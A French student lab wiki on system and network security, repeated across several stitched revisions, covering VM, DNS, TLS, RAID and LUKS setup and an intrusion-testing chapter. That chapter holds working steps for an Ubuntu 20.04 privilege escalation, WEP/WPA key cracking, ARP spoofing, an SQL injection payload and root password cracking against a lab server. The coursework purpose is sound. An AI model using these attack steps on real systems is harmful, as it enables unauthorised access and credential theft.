$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==5.5 Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I was here" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=

== 6.1 Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions vituelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

== 6.4 Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==

TP sysres IMA5sc 2020/2021 G8

2020-12-06T00:59:04Z

Jsoulaim : /* 4.4 Sécurisation de serveur DNS par DNSSEC */

=2. Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=4. Services Internet=
==4.0 Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==4.1 Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==4.2 Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

1ère étape:

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.

2ème étape:
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).

3ème partie:
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==4.3 Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix ( configuration : "Internet Site", nom du site " piedbleu.site" ).

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce repertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==4.4 Sécurisation de serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement.Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stocker ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incrémentons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

=5. Tests d’intrusion=

==5.1 Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes.

$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==5.5 Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I was here" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=

== 6.1 Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions vituelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

== 6.4 Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==

TP sysres IMA5sc 2020/2021 G8

2020-12-02T15:15:31Z

Jsoulaim : /* 4.3 Sécurisation de site web par certificat */

=2. Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

